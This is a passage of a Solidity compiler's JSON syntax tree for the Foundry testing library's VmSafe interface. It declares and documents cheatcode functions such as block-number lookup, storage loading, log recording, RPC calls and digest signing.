VmSafe.EthGetLogs[]"},"typeName":{"baseType":{"id":12527,"nodeType":"UserDefinedTypeName","pathNode":{"id":12526,"name":"EthGetLogs","nameLocations":["16634:10:13"],"nodeType":"IdentifierPath","referencedDeclaration":12087,"src":"16634:10:13"},"referencedDeclaration":12087,"src":"16634:10:13","typeDescriptions":{"typeIdentifier":"t_struct$_EthGetLogs_$12087_storage_ptr","typeString":"struct VmSafe.EthGetLogs"}},"id":12528,"nodeType":"ArrayTypeName","src":"16634:12:13","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_EthGetLogs_$12087_storage_$dyn_storage_ptr","typeString":"struct VmSafe.EthGetLogs[]"}},"visibility":"internal"}],"src":"16633:26:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12537,"nodeType":"FunctionDefinition","src":"16975:65:13","nodes":[],"documentation":{"id":12532,"nodeType":"StructuredDocumentation","src":"16666:304:13","text":"Gets the current `block.number`.\n You should use this instead of `block.number` if you use `vm.roll`, as `block.number` is assumed to be constant across a transaction,\n and as a result will get optimized out by the compiler.\n See https://github.com/foundry-rs/foundry/issues/6180"},"functionSelector":"42cbb15c","implemented":false,"kind":"function","modifiers":[],"name":"getBlockNumber","nameLocation":"16984:14:13","parameters":{"id":12533,"nodeType":"ParameterList","parameters":[],"src":"16998:2:13"},"returnParameters":{"id":12536,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12535,"mutability":"mutable","name":"height","nameLocation":"17032:6:13","nodeType":"VariableDeclaration","scope":12537,"src":"17024:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12534,"name":"uint256","nodeType":"ElementaryTypeName","src":"17024:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"17023:16:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12543,"nodeType":"FunctionDefinition","src":"17364:71:13","nodes":[],"documentation":{"id":12538,"nodeType":"StructuredDocumentation","src":"17046:313:13","text":"Gets the current `block.timestamp`.\n You should use this instead of `block.timestamp` if you use `vm.warp`, as `block.timestamp` is assumed to be constant across a transaction,\n and as a result will get optimized out by the compiler.\n See https://github.com/foundry-rs/foundry/issues/6180"},"functionSelector":"796b89b9","implemented":false,"kind":"function","modifiers":[],"name":"getBlockTimestamp","nameLocation":"17373:17:13","parameters":{"id":12539,"nodeType":"ParameterList","parameters":[],"src":"17390:2:13"},"returnParameters":{"id":12542,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12541,"mutability":"mutable","name":"timestamp","nameLocation":"17424:9:13","nodeType":"VariableDeclaration","scope":12543,"src":"17416:17:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12540,"name":"uint256","nodeType":"ElementaryTypeName","src":"17416:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"17415:19:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12557,"nodeType":"FunctionDefinition","src":"17528:146:13","nodes":[],"documentation":{"id":12544,"nodeType":"StructuredDocumentation","src":"17441:82:13","text":"Gets the map key and parent of a mapping at a given slot, for a given address."},"functionSelector":"876e24e6","implemented":false,"kind":"function","modifiers":[],"name":"getMappingKeyAndParentOf","nameLocation":"17537:24:13","parameters":{"id":12549,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12546,"mutability":"mutable","name":"target","nameLocation":"17570:6:13","nodeType":"VariableDeclaration","scope":12557,"src":"17562:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":12545,"name":"address","nodeType":"ElementaryTypeName","src":"17562:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":12548,"mutability":"mutable","name":"elementSlot","nameLocation":"17586:11:13","nodeType":"VariableDeclaration","scope":12557,"src":"17578:19:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12547,"name":"bytes32","nodeType":"ElementaryTypeName","src":"17578:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"17561:37:13"},"returnParameters":{"id":12556,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12551,"mutability":"mutable","name":"found","nameLocation":"17638:5:13","nodeType":"VariableDeclaration","scope":12557,"src":"17633:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12550,"name":"bool","nodeType":"ElementaryTypeName","src":"17633:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":12553,"mutability":"mutable","name":"key","nameLocation":"17653:3:13","nodeType":"VariableDeclaration","scope":12557,"src":"17645:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12552,"name":"bytes32","nodeType":"ElementaryTypeName","src":"17645:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":12555,"mutability":"mutable","name":"parent","nameLocation":"17666:6:13","nodeType":"VariableDeclaration","scope":12557,"src":"17658:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12554,"name":"bytes32","nodeType":"ElementaryTypeName","src":"17658:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"17632:41:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12567,"nodeType":"FunctionDefinition","src":"17771:97:13","nodes":[],"documentation":{"id":12558,"nodeType":"StructuredDocumentation","src":"17680:86:13","text":"Gets the number of elements in the mapping at the given slot, for a given address."},"functionSelector":"2f2fd63f","implemented":false,"kind":"function","modifiers":[],"name":"getMappingLength","nameLocation":"17780:16:13","parameters":{"id":12563,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12560,"mutability":"mutable","name":"target","nameLocation":"17805:6:13","nodeType":"VariableDeclaration","scope":12567,"src":"17797:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":12559,"name":"address","nodeType":"ElementaryTypeName","src":"17797:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":12562,"mutability":"mutable","name":"mappingSlot","nameLocation":"17821:11:13","nodeType":"VariableDeclaration","scope":12567,"src":"17813:19:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12561,"name":"bytes32","nodeType":"ElementaryTypeName","src":"17813:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"17796:37:13"},"returnParameters":{"id":12566,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12565,"mutability":"mutable","name":"length","nameLocation":"17860:6:13","nodeType":"VariableDeclaration","scope":12567,"src":"17852:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12564,"name":"uint256","nodeType":"ElementaryTypeName","src":"17852:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"17851:16:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12579,"nodeType":"FunctionDefinition","src":"18072:109:13","nodes":[],"documentation":{"id":12568,"nodeType":"StructuredDocumentation","src":"17874:193:13","text":"Gets the elements at index idx of the mapping at the given slot, for a given address. The\n index must be less than the length of the mapping (i.e. the number of keys in the mapping)."},"functionSelector":"ebc73ab4","implemented":false,"kind":"function","modifiers":[],"name":"getMappingSlotAt","nameLocation":"18081:16:13","parameters":{"id":12575,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12570,"mutability":"mutable","name":"target","nameLocation":"18106:6:13","nodeType":"VariableDeclaration","scope":12579,"src":"18098:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":12569,"name":"address","nodeType":"ElementaryTypeName","src":"18098:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":12572,"mutability":"mutable","name":"mappingSlot","nameLocation":"18122:11:13","nodeType":"VariableDeclaration","scope":12579,"src":"18114:19:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12571,"name":"bytes32","nodeType":"ElementaryTypeName","src":"18114:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":12574,"mutability":"mutable","name":"idx","nameLocation":"18143:3:13","nodeType":"VariableDeclaration","scope":12579,"src":"18135:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12573,"name":"uint256","nodeType":"ElementaryTypeName","src":"18135:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"18097:50:13"},"returnParameters":{"id":12578,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12577,"mutability":"mutable","name":"value","nameLocation":"18174:5:13","nodeType":"VariableDeclaration","scope":12579,"src":"18166:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12576,"name":"bytes32","nodeType":"ElementaryTypeName","src":"18166:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"18165:15:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12587,"nodeType":"FunctionDefinition","src":"18225:72:13","nodes":[],"documentation":{"id":12580,"nodeType":"StructuredDocumentation","src":"18187:33:13","text":"Gets the nonce of an account."},"functionSelector":"2d0335ab","implemented":false,"kind":"function","modifiers":[],"name":"getNonce","nameLocation":"18234:8:13","parameters":{"id":12583,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12582,"mutability":"mutable","name":"account","nameLocation":"18251:7:13","nodeType":"VariableDeclaration","scope":12587,"src":"18243:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":12581,"name":"address","nodeType":"ElementaryTypeName","src":"18243:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"18242:17:13"},"returnParameters":{"id":12586,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12585,"mutability":"mutable","name":"nonce","nameLocation":"18290:5:13","nodeType":"VariableDeclaration","scope":12587,"src":"18283:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":12584,"name":"uint64","nodeType":"ElementaryTypeName","src":"18283:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"}],"src":"18282:14:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12595,"nodeType":"FunctionDefinition","src":"18339:64:13","nodes":[],"documentation":{"id":12588,"nodeType":"StructuredDocumentation","src":"18303:31:13","text":"Gets all the recorded logs."},"functionSelector":"191553a4","implemented":false,"kind":"function","modifiers":[],"name":"getRecordedLogs","nameLocation":"18348:15:13","parameters":{"id":12589,"nodeType":"ParameterList","parameters":[],"src":"18363:2:13"},"returnParameters":{"id":12594,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12593,"mutability":"mutable","name":"logs","nameLocation":"18397:4:13","nodeType":"VariableDeclaration","scope":12595,"src":"18384:17:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Log_$12060_memory_ptr_$dyn_memory_ptr","typeString":"struct VmSafe.Log[]"},"typeName":{"baseType":{"id":12591,"nodeType":"UserDefinedTypeName","pathNode":{"id":12590,"name":"Log","nameLocations":["18384:3:13"],"nodeType":"IdentifierPath","referencedDeclaration":12060,"src":"18384:3:13"},"referencedDeclaration":12060,"src":"18384:3:13","typeDescriptions":{"typeIdentifier":"t_struct$_Log_$12060_storage_ptr","typeString":"struct VmSafe.Log"}},"id":12592,"nodeType":"ArrayTypeName","src":"18384:5:13","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Log_$12060_storage_$dyn_storage_ptr","typeString":"struct VmSafe.Log[]"}},"visibility":"internal"}],"src":"18383:19:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12605,"nodeType":"FunctionDefinition","src":"18455:81:13","nodes":[],"documentation":{"id":12596,"nodeType":"StructuredDocumentation","src":"18409:41:13","text":"Loads a storage slot from an address."},"functionSelector":"667f9d70","implemented":false,"kind":"function","modifiers":[],"name":"load","nameLocation":"18464:4:13","parameters":{"id":12601,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12598,"mutability":"mutable","name":"target","nameLocation":"18477:6:13","nodeType":"VariableDeclaration","scope":12605,"src":"18469:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":12597,"name":"address","nodeType":"ElementaryTypeName","src":"18469:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":12600,"mutability":"mutable","name":"slot","nameLocation":"18493:4:13","nodeType":"VariableDeclaration","scope":12605,"src":"18485:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12599,"name":"bytes32","nodeType":"ElementaryTypeName","src":"18485:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"18468:30:13"},"returnParameters":{"id":12604,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12603,"mutability":"mutable","name":"data","nameLocation":"18530:4:13","nodeType":"VariableDeclaration","scope":12605,"src":"18522:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12602,"name":"bytes32","nodeType":"ElementaryTypeName","src":"18522:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"18521:14:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12609,"nodeType":"FunctionDefinition","src":"18627:37:13","nodes":[],"documentation":{"id":12606,"nodeType":"StructuredDocumentation","src":"18542:80:13","text":"Pauses gas metering (i.e. gas usage is not counted). Noop if already paused."},"functionSelector":"d1a5b36f","implemented":false,"kind":"function","modifiers":[],"name":"pauseGasMetering","nameLocation":"18636:16:13","parameters":{"id":12607,"nodeType":"ParameterList","parameters":[],"src":"18652:2:13"},"returnParameters":{"id":12608,"nodeType":"ParameterList","parameters":[],"src":"18663:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12613,"nodeType":"FunctionDefinition","src":"18716:27:13","nodes":[],"documentation":{"id":12610,"nodeType":"StructuredDocumentation","src":"18670:41:13","text":"Records all storage reads and writes."},"functionSelector":"266cf109","implemented":false,"kind":"function","modifiers":[],"name":"record","nameLocation":"18725:6:13","parameters":{"id":12611,"nodeType":"ParameterList","parameters":[],"src":"18731:2:13"},"returnParameters":{"id":12612,"nodeType":"ParameterList","parameters":[],"src":"18742:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12617,"nodeType":"FunctionDefinition","src":"18790:31:13","nodes":[],"documentation":{"id":12614,"nodeType":"StructuredDocumentation","src":"18749:36:13","text":"Record all the transaction logs."},"functionSelector":"41af2f52","implemented":false,"kind":"function","modifiers":[],"name":"recordLogs","nameLocation":"18799:10:13","parameters":{"id":12615,"nodeType":"ParameterList","parameters":[],"src":"18809:2:13"},"returnParameters":{"id":12616,"nodeType":"ParameterList","parameters":[],"src":"18820:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12621,"nodeType":"FunctionDefinition","src":"18911:38:13","nodes":[],"documentation":{"id":12618,"nodeType":"StructuredDocumentation","src":"18827:79:13","text":"Resumes gas metering (i.e. gas usage is counted again). Noop if already on."},"functionSelector":"2bcd50e0","implemented":false,"kind":"function","modifiers":[],"name":"resumeGasMetering","nameLocation":"18920:17:13","parameters":{"id":12619,"nodeType":"ParameterList","parameters":[],"src":"18937:2:13"},"returnParameters":{"id":12620,"nodeType":"ParameterList","parameters":[],"src":"18948:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12631,"nodeType":"FunctionDefinition","src":"19026:98:13","nodes":[],"documentation":{"id":12622,"nodeType":"StructuredDocumentation","src":"18955:66:13","text":"Performs an Ethereum JSON-RPC request to the current fork URL."},"functionSelector":"1206c8a8","implemented":false,"kind":"function","modifiers":[],"name":"rpc","nameLocation":"19035:3:13","parameters":{"id":12627,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12624,"mutability":"mutable","name":"method","nameLocation":"19055:6:13","nodeType":"VariableDeclaration","scope":12631,"src":"19039:22:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12623,"name":"string","nodeType":"ElementaryTypeName","src":"19039:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12626,"mutability":"mutable","name":"params","nameLocation":"19079:6:13","nodeType":"VariableDeclaration","scope":12631,"src":"19063:22:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12625,"name":"string","nodeType":"ElementaryTypeName","src":"19063:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"19038:48:13"},"returnParameters":{"id":12630,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12629,"mutability":"mutable","name":"data","nameLocation":"19118:4:13","nodeType":"VariableDeclaration","scope":12631,"src":"19105:17:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":12628,"name":"bytes","nodeType":"ElementaryTypeName","src":"19105:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"19104:19:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12643,"nodeType":"FunctionDefinition","src":"19198:99:13","nodes":[],"documentation":{"id":12632,"nodeType":"StructuredDocumentation","src":"19130:63:13","text":"Signs `digest` with `privateKey` using the secp256r1 curve."},"functionSelector":"83211b40","implemented":false,"kind":"function","modifiers":[],"name":"signP256","nameLocation":"19207:8:13","parameters":{"id":12637,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12634,"mutability":"mutable","name":"privateKey","nameLocation":"19224:10:13","nodeType":"VariableDeclaration","scope":12643,"src":"19216:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12633,"name":"uint256","nodeType":"ElementaryTypeName","src":"19216:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":12636,"mutability":"mutable","name":"digest","nameLocation":"19244:6:13","nodeType":"VariableDeclaration","scope":12643,"src":"19236:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12635,"name":"bytes32","nodeType":"ElementaryTypeName","src":"19236:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"19215:36:13"},"returnParameters":{"id":12642,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12639,"mutability":"mutable","name":"r","nameLocation":"19283:1:13","nodeType":"VariableDeclaration","scope":12643,"src":"19275:9:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12638,"name":"bytes32","nodeType":"ElementaryTypeName","src":"19275:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":12641,"mutability":"mutable","name":"s","nameLocation":"19294:1:13","nodeType":"VariableDeclaration","scope":12643,"src":"19286:9:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12640,"name":"bytes32","nodeType":"ElementaryTypeName","src":"19286:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"19274:22:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":12657,"nodeType":"FunctionDefinition","src":"19371:104:13","nodes":[],"documentation":{"id":12644,"nodeType":"StructuredDocumentation","src":"19303:63:13","text":"Signs `digest` with `privateKey` using the secp256k1 curve."},"functionSelector":"e341eaa4","implemented":false,"kind":"function","modifiers":[],"name":"sign","nameLocation":"19380:4:13","parameters":{"id":12649,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12646,"mutability":"mutable","name":"privateKey","nameLocation":"19393:10:13","nodeType":"VariableDeclaration","scope":12657,"src":"19385:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12645,"name":"uint256","nodeType":"ElementaryTypeName","src":"19385:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":12648,"mutability":"mutable","name":"digest","nameLocation":"19413:6:13","nodeType":"VariableDeclaration","scope":12657,"src":"19405:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12647,"name":"bytes32","nodeType":"ElementaryTypeName","src":"19405:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"19384:36:13"},"returnParameters":{"id":12656,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12651,"mutability":"mutable","name":"v","nameLocation":"19450:1:13","nodeType":"VariableDeclaration","scope":12657,"src":"19444:7:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"},"typeName":{"id":12650,"name":"uint8","nodeType":"ElementaryTypeName","src":"19444:5:13","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"visibility":"internal"},{"constant":false,"id":12653,"mutability":"mutable","name":"r","nameLocation":"19461:1:13","nodeType":"VariableDeclaration","scope":12657,"src":"19453:9:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12652,"name":"bytes32","nodeType":"ElementaryTypeName","src":"19453:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":12655,"mutability":"mutable","name":"s","nameLocation":"19472:1:13","nodeType":"VariableDeclaration","scope":12657,"src":"19464:9:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12654,"name":"bytes32","nodeType":"ElementaryTypeName","src":"19464:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"19443:31:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":12661,"nodeType":"FunctionDefinition","src":"19543:42:13","nodes":[],"documentation":{"id":12658,"nodeType":"StructuredDocumentation","src":"19481:57:13","text":"Starts recording all map SSTOREs for later retrieval."},"functionSelector":"3e9705c0","implemented":false,"kind":"function","modifiers":[],"name":"startMappingRecording","nameLocation":"19552:21:13","parameters":{"id":12659,"nodeType":"ParameterList","parameters":[],"src":"19573:2:13"},"returnParameters":{"id":12660,"nodeType":"ParameterList","parameters":[],"src":"19584:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12665,"nodeType":"FunctionDefinition","src":"19729:44:13","nodes":[],"documentation":{"id":12662,"nodeType":"StructuredDocumentation","src":"19591:133:13","text":"Record all account accesses as part of CREATE, CALL or SELFDESTRUCT opcodes in order,\n along with the context of the calls"},"functionSelector":"cf22e3c9","implemented":false,"kind":"function","modifiers":[],"name":"startStateDiffRecording","nameLocation":"19738:23:13","parameters":{"id":12663,"nodeType":"ParameterList","parameters":[],"src":"19761:2:13"},"returnParameters":{"id":12664,"nodeType":"ParameterList","parameters":[],"src":"19772:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12673,"nodeType":"FunctionDefinition","src":"19881:92:13","nodes":[],"documentation":{"id":12666,"nodeType":"StructuredDocumentation","src":"19779:97:13","text":"Returns an ordered array of all account accesses from a `vm.startStateDiffRecording` session."},"functionSelector":"aa5cf90e","implemented":false,"kind":"function","modifiers":[],"name":"stopAndReturnStateDiff","nameLocation":"19890:22:13","parameters":{"id":12667,"nodeType":"ParameterList","parameters":[],"src":"19912:2:13"},"returnParameters":{"id":12672,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12671,"mutability":"mutable","name":"accountAccesses","nameLocation":"19956:15:13","nodeType":"VariableDeclaration","scope":12673,"src":"19933:38:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_AccountAccess_$12171_memory_ptr_$dyn_memory_ptr","typeString":"struct VmSafe.AccountAccess[]"},"typeName":{"baseType":{"id":12669,"nodeType":"UserDefinedTypeName","pathNode":{"id":12668,"name":"AccountAccess","nameLocations":["19933:13:13"],"nodeType":"IdentifierPath","referencedDeclaration":12171,"src":"19933:13:13"},"referencedDeclaration":12171,"src":"19933:13:13","typeDescriptions":{"typeIdentifier":"t_struct$_AccountAccess_$12171_storage_ptr","typeString":"struct VmSafe.AccountAccess"}},"id":12670,"nodeType":"ArrayTypeName","src":"19933:15:13","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_AccountAccess_$12171_storage_$dyn_storage_ptr","typeString":"struct VmSafe.AccountAccess[]"}},"visibility":"internal"}],"src":"19932:40:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12677,"nodeType":"FunctionDefinition","src":"20069:41:13","nodes":[],"documentation":{"id":12674,"nodeType":"StructuredDocumentation","src":"19979:85:13","text":"Stops recording all map SSTOREs for later retrieval and clears the recorded data."},"functionSelector":"0d4aae9b","implemented":false,"kind":"function","modifiers":[],"name":"stopMappingRecording","nameLocation":"20078:20:13","parameters":{"id":12675,"nodeType":"ParameterList","parameters":[],"src":"20098:2:13"},"returnParameters":{"id":12676,"nodeType":"ParameterList","parameters":[],"src":"20109:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12683,"nodeType":"FunctionDefinition","src":"20309:50:13","nodes":[],"documentation":{"id":12678,"nodeType":"StructuredDocumentation","src":"20153:151:13","text":"Closes file for reading, resetting the offset and allowing to read it from beginning with readLine.\n `path` is relative to the project root."},"functionSelector":"48c3241f","implemented":false,"kind":"function","modifiers":[],"name":"closeFile","nameLocation":"20318:9:13","parameters":{"id":12681,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12680,"mutability":"mutable","name":"path","nameLocation":"20344:4:13","nodeType":"VariableDeclaration","scope":12683,"src":"20328:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12679,"name":"string","nodeType":"ElementaryTypeName","src":"20328:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"20327:22:13"},"returnParameters":{"id":12682,"nodeType":"ParameterList","parameters":[],"src":"20358:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12693,"nodeType":"FunctionDefinition","src":"20674:93:13","nodes":[],"documentation":{"id":12684,"nodeType":"StructuredDocumentation","src":"20365:304:13","text":"Copies the contents of one file to another. This function will **overwrite** the contents of `to`.\n On success, the total number of bytes copied is returned and it is equal to the length of the `to` file as reported by `metadata`.\n Both `from` and `to` are relative to the project 